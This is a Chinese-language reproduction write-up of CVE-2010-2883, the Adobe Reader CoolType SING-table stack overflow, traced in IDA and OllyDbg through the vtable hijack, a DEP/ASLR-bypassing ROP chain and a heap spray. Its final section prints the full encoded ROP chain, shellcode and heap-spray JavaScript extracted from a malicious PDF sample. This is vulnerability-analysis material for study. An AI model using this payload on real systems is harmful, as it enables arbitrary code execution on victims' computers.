CVE-2010-2883漏洞复现
回想小时候打dnf,刷到一个好材料放到拍卖行,有个人约我qq先聊聊,然后说传几个图片给我看看,我当时信他的鬼话接收了瞧瞧,在这之后上线dnf,正准备交易,鼠标突然自己动然后直接给他了没收钱,真恶心奥~
而本次我们复现的漏洞也类似这种,如果你打开了陌生人给你发送的某个东西,有可能甚至是个图片,一个pdf都会让你的电脑中招,他就如同潘多拉魔盒,打开之后什么坏东西就全跑出来了。
本文主要参考
TimeShatter
其中包括恶意代码的详细分析,而本人由于能力有限仅仅摸透了漏洞利用部分
1.所需环境
- 受害者所处操作系统:Windows XP SP3(MSDN版)
- 虚拟机:VMware workstation
- 动态调试:吾爱OllyDbg
- 静态调试:IDA pro
- 漏洞软件:Adobe Reader(版本号-9.3.4)
2.漏洞描述
该漏洞是利用Adobe Reader 和 Acrobat中CoolType.dll
库在解析字体文件SING表中存在的栈溢出漏洞,导致的结果就是当用户打开了特制的PDF文件后就可能导致任意代码执行
3.基础知识们
本次漏洞是在PDF当中,因此我们需要线了解以下pdf文档的格式,以及其中关键点ttf sing表的格式,首先pdf的格式,下面是盗的图(
- Header :头部,用来注明版本号
- Body:主体,图片、文字等
- xref tale:交叉引用表,存放所有对象的偏移
- Trailer:文件尾部,以%%EOF结尾
而ttf文件就是pdf中的字体文件,而TTF中关于SING表的数据结构体TableEntry的结构如下:
typedef struct_SING{
char tag[4]; //标记"SING"
ULONG checkSum; //校验和:0xD9BCC8B5
ULONG offset; //相对文件的偏移:0x0000011C
ULONG length; //数据长度:0x00001DDF
}TableEntry;
而上面是一个定位SING表的引子,接下来是SING表的整体结构
具体数据结构如下:
#ifndef FORMAT_SING_H
#define FORMAT_SING_H
#define SING_VERSION VERSION(1, 1)
#define SING_UNIQUENAMELEN 28
#define SING_MD5LEN 16
typedef struct
{
Card16 tableVersionMajor; //Card16,两字节
Card16 tableVersionMinor;
Card16 glyphletVersion;
Card16 permissions;
Card16 mainGID;
Card16 unitsPerEm;
Int16 vertAdvance;
Int16 vertOrigin;
Card8 uniqueName[SING_UNIQUENAMELEN];
Card8 METAMD5[SING_MD5LEN];
Card8 nameLength;
Card8 *baseGlyphName; /* name array */
} SINGTbl;
4.发现漏洞点
首先我们找到位于Adobe文件路径下的动态库
我们打开IDA,分析CoolType.dll
库,查看字符串表SING
,然后查看交叉引用,这里若是使用F12找的字符串可能会出问题,因此我们使用ALT + T 组合键来寻找SING
text:0803DCF9 ; __unwind { // loc_8184A54
.text:0803DCF9 55 push ebp
.text:0803DCFA 81 EC 04 01 00 00 sub esp, 104h ; esp开拓栈空间0x104
.text:0803DD00 8D 6C 24 FC lea ebp, [esp-4]
.text:0803DD04 A1 B8 0F 23 08 mov eax, ___security_cookie
.text:0803DD09 33 C5 xor eax, ebp
.text:0803DD0B 89 85 04 01 00 00 mov [ebp+108h+var_4], eax
.text:0803DD11 6A 4C push 4Ch
.text:0803DD13 B8 54 4A 18 08 mov eax, offset loc_8184A54
.text:0803DD18 E8 B4 A4 00 00 call __EH_prolog3_catch
.text:0803DD18
.text:0803DD1D 8B 85 1C 01 00 00 mov eax, [ebp+108h+arg_C]
.text:0803DD23 8B BD 10 01 00 00 mov edi, [ebp+108h+arg_0]
.text:0803DD29 8B 9D 14 01 00 00 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F 89 7D D8 mov [ebp+108h+var_130], edi
.text:0803DD32 89 45 D0 mov [ebp+108h+var_138], eax
.text:0803DD35 E8 F2 39 00 00 call sub_804172C
.text:0803DD35
.text:0803DD3A 33 F6 xor esi, esi ; esi清0,之后用于判断值是否为空
.text:0803DD3C 83 7F 08 03 cmp dword ptr [edi+8], 3
.text:0803DD3C
.text:0803DD40 ; try {
.text:0803DD40 89 75 FC mov [ebp+108h+var_10C], esi
.text:0803DD43 0F 84 B7 01 00 00 jz loc_803DF00
.text:0803DD43
.text:0803DD49 89 75 E4 mov [ebp+108h+var_124], esi
.text:0803DD4C 89 75 E8 mov [ebp+108h+var_120], esi
.text:0803DD4F 83 7F 0C 01 cmp dword ptr [edi+0Ch], 1
.text:0803DD4F ; } // starts at 803DD40
.text:0803DD4F
.text:0803DD53 ; try {
.text:0803DD53 C6 45 FC 01 mov byte ptr [ebp+108h+var_10C], 1
.text:0803DD57 0F 85 4C 01 00 00 jnz loc_803DEA9
.text:0803DD57
.text:0803DD5D 68 2C DB 19 08 push offset aName ; "name"
.text:0803DD62 57 push edi ; int
.text:0803DD63 8D 4D E4 lea ecx, [ebp+108h+var_124]
.text:0803DD66 C6 45 EF 00 mov [ebp+108h+var_119], 0
.text:0803DD6A E8 68 3A FE FF call sub_80217D7
.text:0803DD6A
.text:0803DD6F 39 75 E4 cmp [ebp+108h+var_124], esi
.text:0803DD72 75 69 jnz short loc_803DDDD
.text:0803DD72
.text:0803DD74 68 4C DB 19 08 push offset aSing ; "SING"
.text:0803DD79 57 push edi ; int
.text:0803DD7A 8D 4D DC lea ecx, [ebp+108h+var_12C] ; 指向SING表入口
.text:0803DD7D E8 84 3D FE FF call sub_8021B06 ; 处理SING表
.text:0803DD7D
.text:0803DD82 8B 45 DC mov eax, [ebp+108h+var_12C] ; SING表入口赋值给eax
.text:0803DD85 3B C6 cmp eax, esi ; 判断表入口是否位空
.text:0803DD85 ; } // starts at 803DD53
.text:0803DD85
.text:0803DD87 ; try {
.text:0803DD87 C6 45 FC 02 mov byte ptr [ebp+108h+var_10C], 2
.text:0803DD8B 74 37 jz short loc_803DDC4 ; 若我们处理的SING表不出差错,这里是不会进行跳转的
.text:0803DD8B
.text:0803DD8D 8B 08 mov ecx, [eax] ; 这里传入的是SING表的第一个四字节,这里是1.0版本,也就是00 01 00 00
.text:0803DD8F 81 E1 FF FF 00 00 and ecx, 0FFFFh ; 这里进行判断想与,会设置对应eflags标志位
.text:0803DD95 74 08 jz short loc_803DD9F ; 由于上一步设置了相应标志位,因此在这里跳转
.text:0803DD95
.text:0803DD97 81 F9 00 01 00 00 cmp ecx, 100h
.text:0803DD9D 75 21 jnz short loc_803DDC0
.text:0803DD9D
.text:0803DD9F
.text:0803DD9F loc_803DD9F: ; CODE XREF: sub_803DCF9+9C↑j
.text:0803DD9F 83 C0 10 add eax, 10h ; eax本来是存放SING表首地址,这里加上0x10偏移指向uniqueName
.text:0803DD9F ; uniqueName域
.text:0803DDA2 50 push eax ; Source
.text:0803DDA3 8D 45 00 lea eax, [ebp+108h+Destination] ; Destination是-0x108,所以这里应该就是普通的lea eax,[ebp]
.text:0803DDA6 50 push eax ; Destination
.text:0803DDA7 C6 45 00 00 mov [ebp+108h+Destination], 0
.text:0803DDAB E8 48 3D 13 00 call strcat ; 漏洞点
5.样本分析(阶段一:栈溢出)
我们首先获取到对应样本,其为一个pdf,当我们打开此pdf会有个任意命令执行的功能,具体呈现出的效果为打开一个计算器,如下:
然后执行他,会出现一个明显的pdf弹框,但不完全,接下来就会出现计算器
当然也可以是别的命令,真正的恶意样本我们用来调试,在这里使用计算器来暂时说明我们可以任意控制了而已
首先我们打开OD,加载Adobe文件下的AcroRd32可执行文件
然后我们按下F9来运行程序,这样可以用来加载我们需要的库
这里我们先配合之前的IDA静态分析的结果,我们利用ctrl + g进行地址跟踪,然后双击十六进制部分进行断点,至于下断点的位置,有以下三个点,
- 首先就是我们讲
SING
表赋值给eax的那个点(0x803dd82);
- 然后就是执行strcat函数的点(0x803ddab)
- 最后就是一个关键漏洞点(0x808b308),这个点我们之后详细介绍
此时我们使用OD打开的Adobe Reader打开样本Exploit,然后会断到我们的第三个断电处
该指令是执行eax寄存器保存的地址指向的函数,这里我们可以从右上角的Registers窗口看到eax的值,发现他是在栈上的,此时我们右键点击eax,然后选择Follow in Stack,这样我们的栈窗口看到咱们eax中保存的值所指向的地址是0x80833EF,此刻我们返回IDA,查看该地址所在的函数
size_t *__cdecl sub_80833EF(int a1, int a2, void *a3, size_t *a4)
{
size_t *result; // eax
switch ( a2 )
{
case 0:
return (size_t *)sub_8083119(a3, *a4);
case 2:
return (size_t *)sub_80830AE(*a4);
case 3:
result = (size_t *)sub_80828ED(*(_DWORD *)(a1 + 4), 0);
*a4 = (size_t)result;
break;
default:
result = a4;
*a4 = 0;
break;
}
return result;
}
观察这里是一个switch选择语句,看别的师傅博客是说明这里是处理SING表的时候会执行的函数,具体情况我们到下面再来讲解
接下来我们再次F9,类似于gdb当中的c,这里会到达我们之前下的第一个断点,这条指令会将我们SING表的首地址传入eax,我们F8单步执行到下一条指令来查看以下EAX的值
此时我们查看eax指向地址的值,首先右键eax,然后选择follow in dump,接着会再二进制窗口显示我们值指向的地址,这里从我们之前了解到的SING
表结构会知道uniquename的地址应该是SING表偏移0x10字节的地方,也就是0x035529a0,可以看到样本中uniqueName字段十分长,然后我们单步执行到push eax
,这里是将我们的uniqueName字段的地址压栈
然后我们再次F9运行到第二个断点处,这里即将调用strcat函数,可以看到其目的地址已经在栈上了,目的地址也是指向栈上的一个缓冲区地址,此时我们查看一下目前的目的地址附近的值,我们在栈窗口上ctrl+g,然后输入目的地址0x12e468
然后我们单步F8步过call strcat指令,由于我们没有对uniquename进行长度检查,这就导致了我们现如今会将其全部拷贝到栈上指定的地址,结果如下
可以看到我们左边uniqueName字段的值已经赋值到右边栈上0x12e4d8这里了,此时我们再来查看之前0x12E6D0,此时可以看到已经被覆盖为我们所伪造的地址了
此时我们可以看到旁边注释也是很清楚,返回到icucnv36.4A80CB38,此时我们跳转到该地址来查看一下函数是干啥的,以及我们为啥要修改之前的返回地址为他
根据别的师傅的说法,这里是明显的利用ROP绕过DEP保护的手段,但是由于本人太菜不了解,所以下面来科普一下相关知识
1.GS保护
类似于linux上的canary,函数执行前存放在返回值与ebp上(低地址),然后当我们程序执行完毕之后会调用检查函数来判断该值是否与之前相同,因此我们此时就不能通过覆盖ret地址进行ROP链构造了,而是修改栈上保存的某一个函数指针来进行利用
IDA反汇编可以看到函数开始前会有如下指令:
text:0803DCF9 ; __unwind { // loc_8184A54
.text:0803DCF9 55 push ebp
.text:0803DCFA 81 EC 04 01 00 00 sub esp, 104h ; esp开拓栈空间0x104
.text:0803DD00 8D 6C 24 FC lea ebp, [esp-4]
.text:0803DD04 A1 B8 0F 23 08 mov eax, ___security_cookie
.text:0803DD09 33 C5 xor eax, ebp
结束函数的时候有以下判断
.text:0803DEE1 E8 A9 A2 00 00 call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:0803DEE1
.text:0803DEE6 81 C5 08 01 00 00 add ebp, 108h
.text:0803DEEC C9 leave
.text:0803DEED C3 retn
2.DEP(Data Excution Prevention)数据执行保护
类似于Linux上的NX,不知道为啥名字这俩起不一样干嘛,搞得我是新知识点了,艹。所以这里我们可以使用ROP来进行栈迁移进行绕过,我们可以再OD上输入指令alt+m来查看内存情况,类似pwndbg中的vmmap,十分方便(这里插一句我个人还是更喜欢gdb,不知道为啥就对Linux的喜爱更甚Windows)
3.ALSR
终于来了个名字一样的了,在加载程序的时候不再使用固定的基址加载,支持ASLR的程序在其PE头中会设置
IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE
标识来说明其支持ASLR。例如,如果 icucnv36.dll 开启了 ASLR,那么同一个代码的地址,可能是 0x4A80CB38,也可能是 0x5A80CB38。由于无法知道准确的地址,所以也就无法跳转到想要执行的代码。我们可以通过下面这个小工具来查看对应库中是否开启了ALSR
http://www.scriptjunkie.us/files/pefinder.zip
用法如下
dir /b /w /s "C:\Program Files\Adobe\*.dll" | pefinder.exe -
我们之前将对应0x12E6D0的栈地址指向的即将修改的函数指针改成0x4A80CB38,他位于icucnv36下,我们挑选他不是没有理由,因此我们打开cmd执行上述命令来查看哪里没开ALSR,我们可以找到如下信息:
而具体绕过是通过堆喷,我们再之后再来介绍
我们介绍了几个涉及到的保护知识,接下来再继续分析,我们来说上面所打的第三个断点,我们是如何发现该点的呢,这是通过一步一步调试获取所得,所以上面相当于是提前知道这里用来方便理解
这里因为我们要执行恶意代码,运行一次恶意代码会影响后续的工作,因此我们此时先保存个虚拟机快照了再接着调试
我们F8单步到call CoolType.08001243处,下一个断点,然后再次单步步过
发现并没有出现什么问题,此时我们取消上面打的断点,再接下来单步调试,最后单步我们会到达之前的第三个断点处,如下图:
理论上如果你填充大量无关数据,是可以找到这条关键漏洞的地址值的,上面图中我也贴心的给出了eax里面保存的函数指针,这里可以看到接下来就会调用上面的0x4A80CB38的汇编指令了
这里我们重新来看看,为啥跳转到了这个call [eax]指令,我们首先ctrl + F2来重新启动程序,按照之前的步骤我们步到这里,如下图
此时这条指令call CoolType.08016BDE
执行后就会跳转到call [eax]
,但这是为什么呢,我们步入进去看看,使用F7,进入该函数后,再此单步调试,直到下面这条指令
执行该call后会跳到call [eax]
,但是这又是为啥呢,因此我们再F7跟进看看
可以看到这就是函数内部了,上面重点标记的指令将ecx的值赋给了eax,我们查看ecx
我们可以跟之前一样右键ecx然后选择follow in dump ,然后左下角二进制会出现相应值,我们发现ecx值所指向的是0x081A601C
我们可以通过右键二进制窗口,选择long-->address,来方便我们用地址形式来查看内存数据,此时我们跳转到0x81A601C看看这里存放的是什么
可以发现这里存放的很多函数指针,因此不难判断上面的函数地址这是一个虚表指针,我们可以到IDA中查看该虚表内容
.rdata:081A6004 53 74 72 65 61 6D 48 61 6E 64+aStreamhandler db 'StreamHandler',0 ; DATA XREF: .data:off_821D31C↓o
.rdata:081A6012 00 00 00 00 00 00 align 8
.rdata:081A6018 2C 87 1E 08 dd offset ??_R4StreamHandler@@6B@ ; const StreamHandler::`RTTI Complete Object Locator'
.rdata:081A601C ; const StreamHandler::`vftable'
.rdata:081A601C 16 B1 08 08 ??_7StreamHandler@@6B@ dd offset sub_808B116
.rdata:081A601C ; DATA XREF: sub_801E529-18↑o
.rdata:081A601C ; sub_808AC54+11↑o
.rdata:081A6020 AA B5 08 08 dd offset sub_808B5AA
.rdata:081A6024 62 99 08 08 dd offset sub_8089962
.rdata:081A6028 8C 95 08 08 dd offset sub_808958C
.rdata:081A602C 91 95 08 08 dd offset nullsub_41
.rdata:081A6030 AA B0 08 08 dd offset nullsub_47
.rdata:081A6034 85 AC 08 08 dd offset sub_808AC85
.rdata:081A6038 C7 95 08 08 dd offset nullsub_37
.rdata:081A603C 95 B0 08 08 dd offset sub_808B095
.rdata:081A6040 07 9E 08 08 dd offset sub_8089E07
.rdata:081A6044 6F 99 08 08 dd offset sub_808996F
.rdata:081A6048 A7 94 08 08 dd offset sub_80894A7
.rdata:081A604C ED 95 08 08 dd offset sub_80895ED
.rdata:081A6050 F2 95 08 08 dd offset sub_80895F2
.rdata:081A6054 C5 B0 08 08 dd offset sub_808B0C5
.rdata:081A6058 FC E4 01 08 dd offset nullsub_48
.rdata:081A605C F9 E4 01 08 dd offset nullsub_49
.rdata:081A6060 FF E4 01 08 dd offset sub_801E4FF
.rdata:081A6064 DA 94 08 08 dd offset sub_80894DA
.rdata:081A6068 F7 95 08 08 dd offset sub_80895F7
.rdata:081A606C F8 E4 01 08 dd offset nullsub_50
.rdata:081A6070 04 E5 01 08 dd offset sub_801E504
.rdata:081A6074 70 B0 08 08 dd offset sub_808B070
.rdata:081A6078 8A AC 08 08 dd offset sub_808AC8A
.rdata:081A607C 2F 99 08 08 dd offset sub_808992F
.rdata:081A6080 5B C3 01 08 dd offset sub_801C35B
.rdata:081A6084 34 99 08 08 dd offset sub_8089934
.rdata:081A6088 9B B5 08 08 dd offset sub_808B59B
.rdata:081A608C 37 99 08 08 dd offset sub_8089937
.rdata:081A6090 69 99 08 08 dd offset nullsub_46
.rdata:081A6094 45 9E 08 08 dd offset sub_8089E45
.rdata:081A6098 54 DC 01 08 dd offset sub_801DC54
.rdata:081A609C 45 DF 01 08 dd offset sub_801DF45
.rdata:081A60A0 F0 D5 01 08 dd offset sub_801D5F0
.rdata:081A60A4 0E C3 01 08 dd offset sub_801C30E
.rdata:081A60A8 3B C3 01 08 dd offset sub_801C33B
.rdata:081A60AC 4B C3 01 08 dd offset sub_801C34B
.rdata:081A60B0 1F 99 08 08 dd offset sub_808991F
.rdata:081A60B4 54 59 50 31 00 aTyp1 db 'TYP1',0 ; DATA XREF: sub_808B116+275↑o
可以看到此虚表类型为StreamHandler,应该是处理PDF中流对象的类,然后我们查看IDA中目前正在执行的语句(通过OD来看)
.text:0801BB21 55 push ebp
.text:0801BB22 8B EC mov ebp, esp
.text:0801BB24 FF 75 20 push [ebp+arg_18]
.text:0801BB27 8B 4D 08 mov ecx, [ebp+StreamHandler]
.text:0801BB2A FF 75 1C push [ebp+arg_14]
.text:0801BB2D 8B 01 mov eax, [ecx]
.text:0801BB2F FF 75 18 push [ebp+arg_10]
.text:0801BB32 FF 05 A0 A6 23 08 inc dword_823A6A0
.text:0801BB38 FF 75 14 push [ebp+arg_C]
.text:0801BB3B FF 75 10 push [ebp+arg_8]
.text:0801BB3E FF 75 0C push [ebp+arg_4]
.text:0801BB41 FF 10 call dword ptr [eax]
IDA 上面一段代码反汇编情况如下:
int __cdecl sub_801BB21(
int (__thiscall ***StreamHandler)(_DWORD, int, int, int, int, int, int),
int a2,
int a3,
int a4,
int a5,
int a6,
int a7)
{
int (__thiscall **v7)(_DWORD, int, int, int, int, int, int); // eax
int result; // eax
v7 = *StreamHandler;
++dword_823A6A0;
result = (*v7)(StreamHandler, a2, a3, a4, a5, a6, a7);
if ( !(_BYTE)result )
--dword_823A6A0;
return result;
}
可以看到该代码段是传递7个参数,如下图:
可以看到栈上第一个参数就是之前我们ecx保存的值,该值是一个指向一个虚表指针的地址,也就是我们的StreamHandler对象,该代码逆向的大致含义就是运行虚函数指向的第一个函数,也就是0x0808B116,然后其第一个对象就是StreamHandler,我们可以查看该地址二进制附近的数值
可以看到在当初覆盖值的时候,我们会在此处也覆盖掉一个值,这里也就出现了我们一开始的0x12E6D0,也就是之后call [eax]的eax值,此时我们再次OD F7步入0x808B116,然后单步步过
然后到达这条语句,可以看到是将edi + 0x3c地址指向的值赋给了eax,而这个edi保存的是之前StreamHandler对象的首地址,加上0x3c就变成了刚刚我们说里面保存0x12E6D0的值,此时这条指令执行完毕,eax中就是该值了,再然后我们单步,你会发现:
哦我的老天爷,这不是咱们之前打的3号断点嘛,这下我们终于知道了为什么最后call eax会是这个值了,然后我们回到断点处,这里我们会调用0x4A80CB38这个函数,我们按下F7进入该函数查看,至此溢出部分分析完毕
5.样本分析(阶段二:ROP链)
接着上面继续分析,我们现在运行到了icucnv36.dll中0x4A80CB38这个地址的函数,我们进入查看
这里我们看到是首先将ebp抬了0x794字节(栈从高到低扩展),然后执行leave,熟悉栈迁移的同学可能十分了解他,它实际上的操作相当于mov esp ebp; pop ebp;
此时指令执行完毕,栈顶应该指向0x0012E4E0(EBP + 0x794 + 4 = 0x12DD48 + 0x794 + 4),下面发现果真如此,然后栈顶指向的指针就会被我们的retn指令调用
此时可一看到下一条指令我们是执行 0x4A82A714,我们继续跟进,发现这里是简单的pop出栈上的值到达esp,相当于是再次栈迁移了,这里我们之前构造的0x0C0C0C0C是我们常用的堆喷地址,在后面我们会介绍堆喷的原理,目前程序运行情况如下:
执行后,栈迁移到0x0c0c0c0c
然后继续跟进,发现是将0x4A8A0000弹到ecx上,继续跟进,没什么好说的,如下图:
发现是保存eax到刚刚赋值ecx的地址那儿,也就是0x4A8A0000,然后上面的函数ret过后,会再次从栈上弹出值到eax当中
4A801F90 58 pop eax ; <&KERNEL32.CreateFileA>
4A801F91 C3 retn
4A801F92 33C0 xor eax,eax
4A801F94 C3 retn
4A801F95 > 8B4C24 04 mov ecx,dword ptr ss:[esp+0x4] ; icucnv36.4A80B692
4A801F99 85C9 test ecx,ecx ; icucnv36.4A8A0000
这里弹出的值是<CreateFileA>的符号值,然后我们进入retn,发现是
然后我们就是直接jmp [eax],也就是直接执行kernel32.CreateFileA
这个函数,并且此时我们在栈上也已经构造好了参数如下:
此时我们步入这个函数查看内部实现情况
我们移步到右下角这是咱们解析的参数,这个CreateFileA
函数的功能是打开某个文件,如果没这个文件就会创建,其名为iso88591
,此时我们使用ctrl + F9来执行到返回,然后查看是否创建出了这个文件,他会被创建在桌面上
可以看到我标注的那个文件,确实是iso88591
,这里注意如果你windows的隐藏文件夹选项开着那就看不到,记得到控制面板设置一下
之后我们继续调试,刚刚我们已经返回,如下:
此时eax应该是上面函数的返回值,其为我们刚刚创建的文件句柄,也就是0x33c,然后交换eax和edi,再次步入
此时我们会将栈上的8弹给ebx,接着步入
可以看到上面的图中我们将edi,也就是之前的文件句柄传给了esp + ebp*2的地址,可以看到ebx为刚刚的8,也就是距离栈顶偏移0x10字节,也就是将0x0c0c0c6c上原来的值0xFFFFFFFF改为文件句柄,也就是0x33c,然后我们ctrl+F9跳转到返回前
此时再将CreateFileMappingA
的函数地址弹到eax,然后步入可以发现是直接执行eax保存的函数地址
内部执行情况单步步入之后如下,并且可以发现其中的栈上的函数参数,其中第一个参数就是我们刚刚的文件句柄,第三个参数就是传递的保护措施,可以看到也是可执行可读可写的,因此我们就可以传递shellcode复制到此处执行
执行完毕我们使用ctrl + F9,再次跳转到结尾,发现同之前一样,交换eax和edi,也就是我们创建文件映射的句柄给到了edi
然后同之前上面一样的操作,通过布置好的ROP链来执行MapViewOfFile
,我直接掠过这里调试,跟上面两个函数一样,没什么好说的
可以看到上面图片中调用MapViewOfFile
函数的参数,调用该函数后,会返回该文件对象在内存当中对应的地址
该函数返回后如下:
其中eax即为我们文件对象在内存中的地址为0x048D0000
可以看到这块映射区RWE权限均有
然后我们之后的调试就会将文件内存地址存放在0x4A8A004的地址了,如下图
之后调试我们会在retn的地址存放该0x48D0000,方便我们ROP链返回
之后我们以同样的手段执行memcpy函数
可以看到其中目的地址是0x048D0000,而我们的0x0c0c0D54存放着我们的恶意代码
我们使用ctrl + F9来跳到执行函数结束,如下:
可以看到文件对象的内存地址处已经拷贝过去了大量恶意代码,并且retn那儿我们是直接返回到0x048D00这里,也就是这个文件处执行,而因为我们这个文件有RWX权限,所以说咱们可以执行该文件恶意代码。
因此从ROP链到执行恶意代码,我们分为以下几个步骤:
- 利用溢出来构造ROP链,ROP链通过布置不带ALSR的库中gadget来绕过此机制,通过两次栈迁移来到达0x0C0C0C0C,我们通过堆喷在这里构造好栈数据和恶意代码
- 调用CreateFileA函数,创建ios88591这个文件
- 调用CreateFileMappingA函数,构造该文件在内存中的映射
- 调用MapviewOfFile函数,返回该文件映射在内存中的地址,上面三部是为了构造一块可执行可读可写的内存区域
- 调用memcpy,来将恶意代码存放到该文件映射当中
- 跳转到恶意代码执行
6.堆喷(Heap Spray)
我们利用pdf中内嵌的javascript来申请,首先申请个200MB的内存,而我们一般分配内存都是从低地址开始分配,因此大概率0x0c0c0c0c会被包含在其中,而我们这里一般会在前面的部分大量填充0x90,表示NOP指令,也就是雪橇,如果我们ROP到0x0c0c0c0c,就会通过该雪橇滑向我们布置的ROP链上
我们可以通过PdfStreamDumper来解析pdf文件,从中提取出我们的JavaScript代码,如下:
var shellcode = unescape("%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000" +
"\x25\x7530e8\x25\x750000\x25\x75ad00\x25\x757d9b\x25\x75acdf\x25\x75da08\x25\x751676\x25\x75fa65" +
"%uec10%u0397%ufb0c%ufd97%u330f%u8aca%uea5b%u8a49" +
"%ud9e8%u238a%u98e9%u8afe%u700e%uef73%uf636%ub922" +
"%u7e7c%ue2d8%u5b73%u8955%u81e5%u48ec%u0002%u8900" +
"%ufc5d%u306a%u6459%u018b%u408b%u8b0c%u1c70%u8bad" +
"%u0858%u0c6a%u8b59%ufc7d%u5351%u74ff%ufc8f%u8de8" +
"%u0002%u5900%u4489%ufc8f%ueee2%u016a%u8d5e%uf445" +
"%u5650%u078b%ud0ff%u4589%u3df0%uffff%uffff%u0475" +
"%u5646%ue8eb%u003d%u0020%u7700%u4604%ueb56%u6add" +
"%u6a00%u6800%u1200%u0000%u8b56%u0447%ud0ff%u006a" +
"%u458d%u50ec%u086a%u458d%u50b8%u8b56%u0847%ud0ff" +
"%uc085%u0475%u5646%ub4eb%u7d81%u50b8%u5064%u7444" +
"%u4604%ueb56%u81a7%ubc7d%ufeef%uaeea%u0474%u5646" +
"%u9aeb%u75ff%u6af0%uff40%u0c57%u4589%u85d8%u75c0" +
"%ue905%u0205%u0000%u006a%u006a%u006a%uff56%u0457" +
"%u006a%u458d%u50ec%u75ff%ufff0%ud875%uff56%u0857" +
"%uc085%u0575%ue2e9%u0001%u5600%u57ff%u8b10%ud85d" +
"%u838b%u1210%u0000%u4589%u8be8%u1483%u0012%u8900" +
"%ue445%u838b%u1218%u0000%u4589%u03e0%ue445%u4503" +
"%u89e8%udc45%u8a48%u0394%u121c%u0000%uc230%u9488" +
"%u1c03%u0012%u8500%u77c0%u8deb%ub885%ufffe%u50ff" +
"%uf868%u0000%uff00%u1457%ubb8d%u121c%u0000%uc981" +
"%uffff%uffff%uc031%uaef2%ud1f7%ucf29%ufe89%uca89" +
"%ubd8d%ufeb8%uffff%uc981%uffff%uffff%uaef2%u894f" +
"%uf3d1%u6aa4%u8d02%ub885%ufffe%u50ff%u7d8b%ufffc" +
"%u1857%uff3d%uffff%u75ff%ue905%u014d%u0000%u4589" +
"%u89c8%uffc2%ue875%u838d%u121c%u0000%u4503%u50e0" +
"%ub952%u0100%u0000%u548a%ufe48%u748a%uff48%u7488" +
"%ufe48%u5488%uff48%ueee2%u57ff%uff1c%uc875%u57ff" +
"%u8d10%ub885%ufffe%ue8ff%u0000%u0000%u0481%u1024" +
"%u0000%u6a00%u5000%u77ff%uff24%u2067%u57ff%u8924" +
"%ud045%uc689%uc789%uc981%uffff%uffff%uc031%uaef2" +
"%ud1f7%u8949%ucc4d%ubd8d%ufeb8%uffff%u0488%u490f" +
"%u048a%u3c0e%u7522%u491f%u048a%u3c0e%u7422%u8807" +
"%u0f44%u4901%uf2eb%ucf01%uc781%u0002%u0000%u7d89" +
"%ue9c0%u0013%u0000%u048a%u3c0e%u7420%u8806%u0f04" +
"%ueb49%u01f3%u47cf%u7d89%uffc0%uf075%u406a%u558b" +
"%ufffc%u0c52%u4589%u89d4%u8bc7%ue875%u7503%u01e0" +
"%u81de%u1cc6%u0012%u8b00%ue44d%ua4f3%u7d8b%u6afc" +
"%uff00%uc075%u57ff%u8918%uc445%uff3d%uffff%u74ff" +
"%u576a%uc389%u75ff%ufff0%ud475%uff50%u1c57%uff53" +
"%u1057%u7d8b%u81c0%uffc9%uffff%u31ff%uf2c0%uf7ae" +
"%u29d1%u89cf%u8dfe%ub8bd%ufffd%uc7ff%u6307%u646d" +
"%uc72e%u0447%u7865%u2065%u47c7%u2f08%u2063%u8122" +
"%u0cc7%u0000%uf300%u4fa4%u07c6%u4722%u07c6%u5f00" +
"\x25\x75858d\x25\x75fdb8\x25\x75ffff\x25\x7500e8\x25\x750000\x25\x758100\x25\x752404\x25\x750010" +
"%u0000%u006a%uff50%u2477%u67ff%u6a20%uff00%u2c57" +
"%u5553%u5756%u6c8b%u1824%u458b%u8b3c%u0554%u0178" +
"%u8bea%u184a%u5a8b%u0120%ue3eb%u4932%u348b%u018b" +
"%u31ee%ufcff%uc031%u38ac%u74e0%uc107%u0dcf%uc701" +
"%uf2eb%u7c3b%u1424%ue175%u5a8b%u0124%u66eb%u0c8b" +
"%u8b4b%u1c5a%ueb01%u048b%u018b%uebe8%u3102%u89c0" +
"%u5fea%u5d5e%uc25b%u0008"
);
// unescape("%u0c0c%u0c0c"); 滑块代码 0x0c 等于指令 OR al, 0C; 大量执行对 shellcode 无影响
var nop_chip = unescape("\x25\x750c0c\x25\x750c0c");
// 65536 等于 0x10000 等于 2 ^ 16 等于 64KB, 这里的 20+8 应该是用来免杀用的,无实际作用
while (nop_chip.length + 20 + 8 < 65536)
nop_chip += nop_chip;
// 精准堆喷,使 shellcode 开始的地方一定在 0c0c 结尾的地址 0x....0c0c 处
temp_chip = nop_chip.substring(0, (0x0c0c - 0x24) / 2);
temp_chip += shellcode; //拼接上 shellcode,该位置一定在 0c0c 结尾的地址处
temp_chip += nop_chip; //拼接后续的滑块代码
// shellcode 小片段一个是 0x10000 大小,unicode 一个长度等于2字节,0x10000实际是 0x20000 字节大小,除2 为 0x10000
small_shellcode_slide = temp_chip.substring(0, 65536 / 2);
